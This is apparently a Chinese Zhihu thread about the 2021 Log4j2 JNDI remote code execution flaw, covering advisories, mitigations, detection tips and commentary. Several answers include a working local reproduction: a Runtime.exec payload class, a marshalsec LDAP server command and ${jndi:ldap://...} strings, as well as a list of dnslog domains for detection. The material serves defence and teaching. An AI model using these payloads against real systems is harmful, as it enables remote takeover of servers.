Apache Log4j2 最初是由 Ceki Gülcü 编写,是 Apache 软件基金会 Apache 日志服务项目的一部分。Log4j 是几种 Java 日志框架之一。而 Apache Log4j2 是对 Log4j 的升级,相比其前身 Log4j1 有了更显著的改进,同时修复了 Logback 架构中的一些固有问题。

通过 Apache Log4j2 框架,开发者可通过定义每一条日志信息的级别,来控制日志生成过程。

目前该日志框架已被广泛用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

漏洞描述

Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

受影响版本:

Apache Log4j 2.x <= 2.14.1

已知受影响的应用程序和组件:

  • srping-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

据悉,此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为 “高危”,且漏洞危害巨大,利用门槛极低。有报道称,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响,需尽快采取方案阻止。

解决方案

目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

临时修复建议:

  • JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
  • log4j2.formatMsgNoLookups=True
  • FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

更新:

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本:

由于正式发布工作正在进行中,因此对外暂时还无法看到 2.15 版本。

据 Apache 方面人士透露,目前 Maven Central 上仍有 0 个工件,可能需要几个小时后才能同步镜像服务器并正式对外采用。更多后续,我们持续关注。
(摘自 SegmentFault)

结论:PHP 是世界上最好的语言!

知乎用户 摩金​​ 发表

听说各大厂程序员半夜被叫起来改,pdd 不改完不让下班。

修复建议

1、禁止使用 log4j 服务器外连,升级 idk 11.0.1 8u191 7u201 6u211 或更高版本。

2、升级至 log4j-2.15.0-rc2:

下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

3、紧急缓解措施:

(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置 log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true

【安全通报】Apache Log4j2 远程代码执行漏洞

知乎用户 夜雨声繁 发表

目前最新进展, 2.15.0-rc1 版本存在绕过,Apache Log4j 2.x < 2.15.0-rc2。

哈哈哈,刚更新到 rc1 的是不是傻眼了

-——– 分割线 —–

鉴于 rc2 提示也能被绕过,大家直接更新到 2.15.0 GA 版本吧~~~

官网地址

Download Apache Log4j 2

漏洞已经在 2.15.0 的正式版被修复。

ps: 有大佬能告诉我是怎么绕的么 ·~~~

知乎用户 匿名用户 发表

美企,刚下班看到这个知乎答案,过了半小时部门里面开了个 sev2 把每个组 oncall 都叫来紧急处理了。。。

知乎用户 赫尔海姆的诗人​ 发表

造成什么影响我不想思考,我只知道游戏都开了结果突然被喊起来更新项目依赖的我真是个可怜的孩子

知乎用户 改名还要开会员 发表

#几张图帮你了解漏洞的危害#

知乎用户 匿名用户 发表

没有在除夕夜放出就可以了,但是一定是一个不眠之夜。

知乎用户 守护石 CTO​​ 发表

这漏洞可真大,阿里牛人的 log4j2 漏洞检测跑了一下,直接调起了计算器。

漏洞流程我是这样分析理解的:

(1) 我们使用 log4j2 在 info、debug、warn、error 过程中会传入打印参数。

(2) 若这些参数来自于外部,例如:web 提交,数据采集等,我们对外部请求的一些数据作为日志用 log4j2 打印或者输出成日志文件。

(3) 在外部数据中若恶意加入一个 jndi 的 ldap U 地址变量进行,这个 URL 指向的是恶意 ldap 服务。

(4) 当 log4j2 开始打印这段包含恶意 URL 变量,会识别出这段 URL,然后进行 jndi 的 ldap 调用进行对象 lookup。

(5) 接受 log4j2 请求的恶意 ldap 服务会给 log4j2 传回一个恶意的 class。

(6)log4j2 获取此 class 仅仅是对象根,然后会根据这个根的信息再次远程请求恶意 RPC 服务器,获取此 class 根对应的恶意实现对象,并在 jvm 上反序列化。

(7) 此对象会在反序列化成功后,会在 log4j2 所在的 jvm 运行环境执行各种内置恶意执行调用。

总之一句话,兄弟们赶紧打补丁吧,这漏洞把雨水都漏到裤衩里啦!


全平台漏洞,以 Linux 云计算的应用部署量,问题更严重,Windows 只是本机测试,产品涉及有 log4j2,一定要升级 jog4j2 最新版的 jar 包,还要自查依赖包有没有把 log4j2 打进依赖 jar 内部。

关注领域:大数据技术、分布式架构 | 技术管理

知乎用户 轻流​ 发表

12 月 9 日,Apache Log4j2 安全漏洞大规模暴露,网络中出现了利用此漏洞的攻击行为。这个漏洞几乎影响所有行业,包括全球多家知名科技公司、电商网站等,漏洞波及面和危害程度均堪比 2017 年的 “永恒之蓝” 漏洞。

Apache ,是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,是最流行的 Web 服务器端软件之一。

Apache Log4j2 是 Apache 的一个开源项目,用于 Java 的日志记录库,支持远程启动日志服务器。该工具重写了 Log4j 框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

目前发现 Log4j-2 中存在 JNDI 注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响范围极大,且利用方式十分简单,攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,使攻击者可以远程控制用户受害者服务器,90% 以上基于 java 开发的应用平台都会受到影响。

影响范围:

Apache Log4j 2.x <= 2.15.0-rc1

受影响的应用及组件(包括但不限于)如下:

Apache Solr、Apache Flink、Apache Druid、Apache Struts2、srping-boot-strater-log4j2 等。

对企业的影响

对于企业来说,“由于 Apache Log4j 存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。”

通俗版解释就是:通过这个漏洞,黑客可以随意运行企业服务器中的脚本,企业最宝贵的数据资料可以随意删改。

此次 Apache Log4j2 漏洞的 CVSS 评分达到了满分 10 分,很多媒体平台将其称为 “核弹级漏洞”,可以说是比较贴切的了。

紧急应对:

轻流 · 无代码搭建平台高度重视此次安全事件,即刻启动安全应急响应,统一协调开发、测试、安全、运维、售后资源,在 10 日中午就形成完备的应对方案,下午 13:00 开始逐步安排不同版本的更新维护。

基于此次事件,轻流做出以下评估与应对:

本次 Apache Log4j2 高危漏洞,轻流基于长期积累的安全能力与技术能力,在发现漏洞的第一时间快速组织应对小组,发布安全预警、采取防护措施、进行安全维护,致力于保障企业用户的系统稳定与信息安全。

目前,轻流已支持访问控制、安全认证、数据安全、服务安全等安全防护,为企业数字化系统提供多层安全保障。同时,轻流已通过 SOC2、ISO27001 认证等多项安全资质,并被授予信息系统安全等级保护三级,信息安全管理达到国际权威标准。在专有轻流安全防护方面,我们也为私有部署客户提供更全面的产品安全、运维安全、防御体系和权限管理。

对于本次事件,轻流会持续关注并积极应对,尽力降低本次全球性安全漏洞带来的影响。

知乎用户 云效 DevOps 平台 发表

2021 年 12 月 10 日,国家信息安全漏洞共享平台(CNVD)收录了 Apache Log4j2远程代码执行漏洞(CNVD-2021-95914),此漏洞是一个基于 Java 的日志记录工具,为 Log4j 的升级。作为目前最优秀的 Java 日志框架之一,被大量用于业务系统开发。
漏洞信息

早在 2021 年 11 月 24 日阿里巴巴云安全团队就报告了该漏洞,为了帮助大家更快的识别漏洞,避免受到潜在的攻击,阿里云云效技术团队提供了针对该漏洞的处理方案。

源码级扫描,将风险及时扼杀
阿里云云效代码管理平台 Codeup 的「依赖包漏洞检测」支持在源码层面实时扫描依赖包风险,并提供漏洞修复方案,可针对企业代码库自动扫描漏洞并快速报出,避免人工肉眼排查可能造成的风险遗漏。
本次 Log4j 已被定义为 Blocker 级别高危漏洞,强烈建议尽快升级修复:

如何使用检测

代码库管理员进入仓库设置 - 集成与服务中开启「依赖包漏洞检测」,请注意 Java 代码需要勾选「设置 Java 检测参数」:

开启后默认分支将自动开始执行检测,等待检测完成,可查看分支代码检测详情,在检测报告中提供了漏洞说明与修复方案建议:

由于漏洞库实时更新,历史已开启扫描的代码库需要主动开关或提交代码以触发执行一次最新扫描。
如何修复漏洞

依据检测建议,修改 Apache Log4j 相关依赖版本至最新的 Log4j-2.15.0 。
自动修复漏洞
手动依次更新依赖文件非常繁琐,云效代码管理平台 Codeup 还提供了智能化的漏洞自动修复能力,当检测出存在该安全漏洞时,在「安全」问题列表页面将提供黄色标识,支持一键自动修复漏洞:

展开问题详情,点击「创建合并请求自动修复」按钮将自动生成一个合并请求,人工审核确认后可一键合并,自动修复漏洞:

查看文件差异可以看到该合并请求已自动将代码 pom.xml 中的 Log4j 依赖版本升级到建议的安全版本:

人工确认后点击合并,代码合并变更将自动重新触发代码检测服务,查看检测结果可确认漏洞已修复解决:

极致的云端代码托管保护
本次 Apache Log4j2 开源依赖包漏洞为所有人敲响警钟,企业的代码作为最重要的数字资产之一,很可能正面临着各种安全风险。企业和开发者在解决这个单点问题的同时,还需要思考如何更全面的保障自己的代码数据安全。
阿里云云效代码管理平台 Codeup 提供了丰富的安全服务,在访问安全、数据可信、审计风控、存储安全等角度全方位保障企业代码资产安全,如果你开始重视安全这件事,不妨立即前往云效 Codeup 开始探索。

知乎用户 无欢不散​ 发表

漏洞概述

Apache Log4j2 是一款开源的 Java 日志框架,被广泛地应用在中间件、开发框架与 Web 应用中,用来记录日志信息。

由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码。漏洞 PoC 已在网上公开,默认配置即可进行利用,该漏洞影响范围极广,建议相关用户尽快采取措施进行排查与防护。

影响范围

受影响版本:

Apache Log4j 2.x <= 2.14.1

供应链影响范围:

已知受影响应用及组件:

Apache Solr

Apache Flink

Apache Druid

srping-boot-strater-log4j2

更多组件可参考如下链接:

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

不受影响版本:

Apache log4j-2.15.0-rc1

漏洞检测人工检测

1、相关用户可根据 Java jar 解压后是否存在 org/apache/logging/log4j 相关路径结构,判断是否使用了存在漏洞的组件,若存在相关 Java 程序包,则很可能存在该漏洞。

2、若程序使用 Maven 打包,查看项目的 pom.xml 文件中是否存在下图所示的相关字段,若版本号为小于 2.15.0,则存在该漏洞。

3、若程序使用 gradle 打包,可查看 build.gradle 编译配置文件,若在 dependencies 部分存在 org.apache.logging.log4j 相关字段,且版本号为小于 2.15.0,则存在该漏洞。

攻击排查

1、攻击者在利用前通常采用 dnslog 方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的 “javax.naming.CommunicationException”、“javax.naming.NamingException: problem generating object using object factory”、“Error looking up JNDI resource” 关键字进行排查。

2、攻击者发送的数据包中可能存在 “${jndi:}” 字样,推荐使用全流量或 WAF 设备进行检索排查。

产品检测

请有部署以上设备的用户升级至最新版本。

升级包版本号升级包下载链接
RSAS V6 系统插件包V6.0R02F01.2508http://update.nsfocus.com/update/downloads/id/121946
RSAS V6 Web 插件包V6.0R02F00.2406https://update.nsfocus.com/update/listRsasDetail/v/vulweb
https://update.nsfocus.com/update/listWvssDetail/v/6/t/plg
IDS5.6.10.26697http://update.nsfocus.com/update/downloads/id/121949
IDS5.6.11.26697http://update.nsfocus.com/update/downloads/id/121950

漏洞防护

官方升级

目前官方已发布测试版本修复该漏洞,受影响用户可先将 Apache Log4j2 所有相关应用到该版本,下载链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

注:由于此版本非正式发行版,可能出现不稳定的情况,建议用户在备份数据后再进行升级。

升级供应链中已知受影响的应用及组件:Apache Solr、Apache Flink、Apache Druid、srping-boot-strater-log4j2

临时防护措施

若相关用户暂时无法进行升级操作,可先用下列措施进行临时缓解:

1、添加 jvm 启动参数:-Dlog4j2.formatMsgNoLookups=true

2、在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为:log4j2.formatMsgNoLookups=true

3、建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本

4、限制受影响应用对外访问互联网,并在边界对 dnslog 相关域名访问进行检测。

部分公共 dnslog 平台如下:

ceye.io

dnslog.link

dnslog.cn

dnslog.io

tu4.org

awvsscan119.autoverify.cn

burpcollaborator.net

s0x.cn

程序员书单

这里有一份精心整理的程序员书单,你一定不想错过:

可以通过下面方式获取:

程序员必看经典书单

知乎用户 冯天鹤 发表

log4j 1 也有影响

https://github.com/apache/logging-log4j2/pull/608

知乎用户 mentoki 发表

可以说是灾难性的漏洞,比之前的 fastjson 和 shiro 还要严重,这个漏洞估计在之后三四年内还会继续存在…. 不说了该应急去了

知乎用户 老无所依 发表

写 java 的的程序员, 99% 都不考虑 java 的安全机制.

1. 启动 java 的安全管理器.
2. 配置执行权限.
3. 配置执行的策略.

不管你依赖什么 jar 包, 都不用担心了.

突然想要一件事………….

会不会导致打击开源软件的活动?

这可是 “超级大漏洞”, 可以窃取数据, 结合最近的几个 “活动”, 未来不知道会不会有决策, 对开源软件进行打击, 尤其是境外开源……

知乎用户 gwb 发表

再再再一次科普,软件行业的基本矛盾,是软件开发完成以后维护成本几乎为 0,和老板不得不给员工发工资之间的矛盾。基本矛盾可以解释软件行业独有的一切乱象。

日志库本来是一个比较小的东西,但是这个员工写完这个库之后就能躺着领一辈子工资了吗?老板肯定不想这样,就只能让员工不停地去给库加功能,不能让他闲下来。

最终我们看到,这个库变成了一个大而全的怪物。普通人用到的功能连十分之一都不到,它的全部功能约等于一个编程语言。

类似的话我在 qt 相关回答也说过,一个 qt 程序 30M 空间起步,如何裁剪发布体积居然会成为一个问题。qt 不仅是界面库,还包含了线程网络数据库多媒体等等,俨然一个小的操作系统。

然而这种无尽扩张能解决问题基本矛盾吗吗?显然是不能的。哪怕 log4j 真写成了脚本语言,哪怕 qt 真成了操作系统,员工的工资该发还得发,该让员工干活还得让他干活。

没活怎么办?放心,总会有的。这不,出问题了,活不就来了吗?

/* 甚至可以名正言顺把员工开除 */

知乎用户 lego 发表

这一堆 src 发的连续通告已经够说明问题了

朋友圈也是杀疯了

来让我们猜猜哪几张图是可实现的

PS:

可惜最近研究的目标 tm 的用 println 来调试

完美避开漏洞

知乎用户 想要的生活​ 发表

昨天刚刚躺下被窝都还没焐热,就接到领导一通电话,一个翻身,披上外套就往公司跑去。

到了公司,好家伙,小伙伴都到齐了,开了个简短的小会,马上吭哧吭哧的撸起袖子就开干了。

撸了一天,终于把他这个坑给填上了,这里给大家总结下

背景

在 12 月 9 日晚间出现了 Apache Log4j2 远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置,经多方验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。

Apache Log4j2 是一款流行的 Java 日志框架,被大量的公司所采用,建议抓紧自查是否受漏洞影响,并尽快升级新版本。Log4j - Log4j 2 Lookups - Apache Log4j 2Apache Log4j2 是一款流行的 Java 日志框架,被大量的公司所采用,建议抓紧自查是否受漏洞影响,并尽快升级新版本。

为啥说这个漏洞危害大呢?

打个不恰当的比方,就比如小偷(黑客)偶然间知道了你家备用钥匙藏在了门口的地毯(后门 - 这次的漏洞)上,趁你白天不在家(非值守时间,比如半夜),就可以随意进入你家(你的服务器),随意耍。

总体来说和 SQL 注入是类似的,用户的数据中包含一些特殊的代码,未被过滤,打到后端造成了一些意外情况,比如这次的,就可以远程执行相关的代码,比如下载些服务器的敏感信息啥的。而且这次的漏洞使用门槛也比较低,所以被认定为影响广泛的高危漏洞。

就连某度都中招了

不过今天再试,是已经临时堵上了

漏洞详情

Apache Log4j 远程代码执行漏洞 严重程度: 严重由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j 是一个基于 Java 的日志记录组件。Apache Log4j2 是 Log4j 的升级版本,通过重写 Log4j 引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞编号:CVE-2021-44228
**等级:**高危,该漏洞影响范围极广,危害极大。
**CVSS 评分:**10(最高级)漏洞状态:

受影响的版本:

Apache log4j2 2.0 - 2.14.1 版本均受影响。

不要以为没有升级 log4j 1.x 就没有事了,一样的。

详情看:Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2

**安全版本:**Apache log4j-2.15.0

攻击排查

1、攻击者在利用前通常采用 dnslog 方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的 “javax.naming.CommunicationException”、“javax.naming.NamingException: problem generating object using object factory”、“Error looking up JNDI resource” 关键字进行排查。
2、攻击者发送的数据包中可能存在 “${jndi:}” 字样

3、通过流量监测设备监控是否有相关 DNSLog 域名的请求

漏洞分析

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

Log4j - Log4j 2 Lookups - Apache Log4j 2

漏洞示例代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String\[\] args) {
        logger.error("${jndi:ldap://xxxip:1389/#Exploit}");
    }
}

简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

修复建议

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个 log4j-core 包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。

临时方案

若相关用户暂时无法进行升级操作,可先用下列措施进行临时缓解:

1、添加 jvm 启动参数:-Dlog4j2.formatMsgNoLookups=true

2、在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为:

log4j2.formatMsgNoLookups=true

3、建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本

4、限制受影响应用对外访问互联网,并在边界对 dnslog 相关域名访问进行检测。

5、WAF 添加漏洞攻击代码临时拦截规则。

根治方案

使用最新的 2.15.0

Log4j2 2.15.0 jar 包下载

Log4j2 2.15.0 下载地址及安全相关资料

-———- 如何复现 ——————–

有人问怎么复现,我这里加更下

环境

  1. jdk 1.8

2. Maven 依赖

<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
</dependency>

3. 一个 web 服务, 我这里用的是 tomcat

4. marshalsec-0.0.3-SNAPSHOT-all.jar

步骤

创建一个 java 类

// 触发这个方法会拉起本地计算器
class Exploit {
	static {
		System.err.println("Pwned");
		try {
			String cmds = "calc";
			Runtime.getRuntime().exec(cmds);
		} catch (Exception e){
			e.printStackTrace();
		}
	}
}

编译

javac Exploit.java

得到:Exploit.class

![](data:image/svg+xml;utf8,)

启动 Jndi 服务

\>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit" 8888

观察到如下结果,即为启动成功

Listening on 0.0.0.0:8888

注:http://127.0.0.1:8080/#Exploit 就是你启动的那个 web 容器的服务地址

这里需要将上一步的 Exploit.class 丢到 web 容器中 (比如 tomcat 可以丢到 webapps/ROOT 下面),在浏览器中访问可以触发下载即为正常。

编写漏洞触发类

创建一个 Maven 项目,编写漏洞模拟类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Poc {
       public static final Logger logger = LogManager.getLogger();
       public static void main(String\[\] args) {
              // TODO Auto-generated method stub
              logger.error("${jndi:ldap://localhost:8888/#Exploit}");
       }
}

这里相当于远程服务,记录日志。

执行 main 方法

在 jndi 服务运行 cmd 中可以看到一条记录:

Send LDAP reference result for #Exploit redirecting to http://127.0.0.1:8080/Exploit.class

这里就成功的触发了一次远程攻击操作

小结

大致流程如下:

想要自己复现的,下面提供了链接,需要的自取,根据步骤复现

Log4j2 漏洞复现相关代码资源

知乎用户 Kevin Zhang​ 发表

这次影响相当大:

通过 Google 搜索引擎对依赖该组件的产品、其他开源组件分析后发现,有 310 个产品、开源组件依赖了 Apache Log4j2 2.14.1 的版本,包括诸多全球使用量的 Top 序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等。

而 Struts2,Druid,Flink 等组件简直是互联网公司的标配。

这不得不把软件供应链安全再次拿出来讲一讲了。

2015 年 9 月,黑客组织利用当时通过官方渠道获取苹果 Xcode 官方版本困难的情况 , 在非官方渠道发布的 Xcode 注入病毒,导致 2500 多款使用该开发工具开发的苹果 App 被植入恶意代码,受影响的苹果 iOS 用户达 1.28 亿。
2017 年 8 月,安全研究人员发现知名电信设备制造商 Iris 生产的调制解调器存在五个安全漏洞,其中三个硬编码后门账号漏洞。由于未及时开展漏洞挖掘和修复工作,直接导致攻击者利用三个后门账号控制设备,获取 root 权限,安装新固件乃至架设僵尸网络。
2017 年 9 月,NetSarang 公司开发的安全终端模拟软件 Xmanager、Xshell、Xftp、Xlpd 等产品中包含的 nssock2.dll 模块源码被植入恶意后门。
2020 年 12 月,美国 SolarWinds 公司的 Orion 软件更新服务器上存在一个被感染的更新程序,导致美国财政部系统等约 18000 家关键基础设施、联邦机构和企业受到影响,部分受影响设备甚至可由攻击者完全操控。

据 GitHub 统计,2020 年新增了 1600 万开发者用户,预计 2025 年开发者用户数将达到 1 亿,而中国开发者数量及贡献度增长已成为全球最快,预测到 2030 年,中国开发者将成为全球最大的开源群体。

软件定义世界,开源定义软件。

可怕的是,如果我们一切的国产化,都建立在开源软件的基础之上,一旦底层开源软件出现漏洞,影响范围难以估量。

芯片卡脖子很难受,没有相应的软硬件,造不出芯片;

开源卡脖子很可怕,当开源已经深入所有应用的方方面面,如果有一天突然断供 / 出现漏洞,如同整个软件世界的地基突然坍塌,皮之不存,毛将焉附?

知乎用户 王二小 发表

看了一下

典型的为功能而功能的 sb 行为

估计是某些人为了凸显自己的重要性而添加一些似是而非未经过仔细思考和验证的功能

软件设计是以达到最小目标为原则的基本设计 剩下的是安全安全安全!

老有这种根本不懂系统设计原则的沙雕 会写代码, 但是写出来的东西表面上好看,实际能瞬间搞死一个企业

不说别的, 大企鹅大阿里的数据要是因为这个泄漏, 呵呵

或者某些大银行 大机构 社保?

这些地方本身技术水平就没那么高,脑子里也没这个弦

不靠谱的程序员真是万恶之源

知乎用户 左趋趋​ 发表

辩证的看待是天大的好事,让一大波老旧的信息系统有了升级换代的理由和资源。

知乎用户 听雨轩 发表

只引用了 log4j-api,没有引用 log4j-core 的,不受影响。

https://github.com/apache/logging-log4j2/pull/608

知乎用户 sheepbotany 发表

哈哈哈哈,学生党过来吃瓜。之前帮室友改项目,有一个功能是上传文件与下载文件,但是一直失败,后来发现是 log4j 下载的版本不对,所以对 log4j 的印象很深刻,log4j 在大型 java 项目中应用太广泛了。

看见有人不知道为啥这个漏洞这么可怕。简单来说,我们平时看的很多页面,学校的官网页面,淘宝就是 java+php,都用到 log4jjar 包,这时因为一个文件导致出现巨大漏洞,那么这些页面就可以被随便破坏了,想破坏什么就破坏什么,游戏开挂也可以,没准修改成绩也可以。。。。。这种网站随处可见,随处可见,随处可见,破坏容易,每一秒都是损失,而且有的项目写完可能就忘了,修改都来不及。

而且如果大家忘记更新,那么这种漏洞一直存在,一些氪金游戏,危。

我们学校的网站有的就是 javaweb 项目,不知道会不会被攻击。

不管怎么样,对程序猿来说,真的是不眠的几天。

知乎用户 程序猿阿朗​ 发表

点赞再看,动力无限。Hello world : ) 微信搜「 程序猿阿朗 」。 本文 Github.com/niumoo/JavaNotes未读代码网站 已经收录,有很多知识点和系列文章。

2021 年 12 月 10 日凌晨前,网上曝出了 log4j 的核弹级漏洞,这种漏洞超级高危,操作简单,利用方便,适用范围广,可以直接任意代码执行接管你的服务器

此处思考曝光者凌晨曝光的原因,或许选择凌晨曝光,想着无数工程师半夜起来紧急修复,让 TA 产生了变态的快感

我知道你们是想看什么的,就是想看如何演示,不过还是先看下如何修复,提高下安全意识。

0x01. 漏洞情况

Apache Log4j2 是一款优秀的 Java 日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

通过网上公开资料,这个漏洞的细节已经完全公开,这里简单演示,让大家了解漏洞情况,尽快安全升级。

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。
  • 2021 年 12 月 06 日,log4j2 发布修复包 log4j-2.15.0-rc1.jar
  • 2021 年 12 月 10 日,log4j2 发布修复包 log4j-2.15.0-rc2.jar
  • 2021 年 12 月 10 日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过请及时更新至 Apache Log4j 2.15.0-rc2 版本

实际受影响范围如下

Apache Log4j 2.x < 2.15.0-rc2

0x02. 安全建议

  1. 排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
  3. 临时缓解方案。可升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上,可以在一定程度上限制 JNDI 等漏洞利用方式。对于大于 2.10 版本的 Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

0x03. 漏洞复现

以下测试,只做学习分析之用,不要于其他用途!单机演示,所有地址都是 127.0.0.1。

本来不准备画图的,但是很多同学以为注入漏洞就是简单的运行网上的 ${jndi:ldap://127.0.0.1:1389/Log4jTest} ,我觉得还是有必要画个图简单说明一下, 一个简单的攻击链路步骤图,画的匆忙见谅。

3.1. 环境模拟 - 受害者小白服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的你总能找到我。

3.2. 环境模拟 - 攻击者服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的你总能找到我。

3.3. 测试

受害者小白服务再次运行,原本只简单打印一行日志,现在多了一行说明信息。

无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。最后求关注,公众号:程序猿阿朗
20:21:57.780 \[main\] ERROR Log4j2 - params:${jndi:ldap://127.0.0.1:1389/Log4jTest}

同时运行项目目录多了一个文件 xxxyyyzzz.txt

如果你是在 windows 上运行测试,那么会弹出一个计算器。

一如既往,文章中的代码存放在:github.com/niumoo/lab-notes

<完>

Hello world : ) 我是阿朗,一线技术工具人,认认真真写文章,求个点赞。

文章持续更新,可以关注公众号「 程序猿阿朗 」或访问未读代码博客 (https://www.wdbyte.com) 」。 本文 Github.com/niumoo/JavaNotes 已经收录,有很多知识点和系列文章,欢迎 Star。

知乎用户 小筑 发表

蹭个热度,发一下今天 log4j 源码编译时我遇到的问题及其解决办法

** 本贴针对官方在 GitHub 发布的 2.15.0-rc2

# 环境配置

* 编译器不要使用高版本的 JDK ,环境变量要使用 JDK8

* JDK8 之外,也要安装有一个版本号大于或等于 9 的 JDK

* 以上两个 JDK 的路径,可以配置在源码包中的 toolchains-sample-xxx.xml 文件中,也不排除有其他合理的配置方法

# 编译步骤

* 不要图省事直接在顶层目录下使用 mvn package 进行编译,以 log4j-api 为例。如果直接编译 log4j-api ,会提示远程仓库中不存在 log4j-api-java9 。需要先进入 log4j-api-java9 目录,使用 mvn install -t ..\toolchains-sample-win.xml 将 log4j-api-java9 安装到本地仓库中才能正常编译 log4j-api

知乎用户 陕西颜值扛把子 发表

上面好多回答都写得挺清楚了,我来写个简单复现吧

前情提要

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

构建 maven 项目引入 Log4j2

编写 pom 文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="Maven - Page Not Found"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="Maven - Page Not Found http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- org.apache.logging.log4j " log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
        <!-- org.apache.logging.log4j " log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
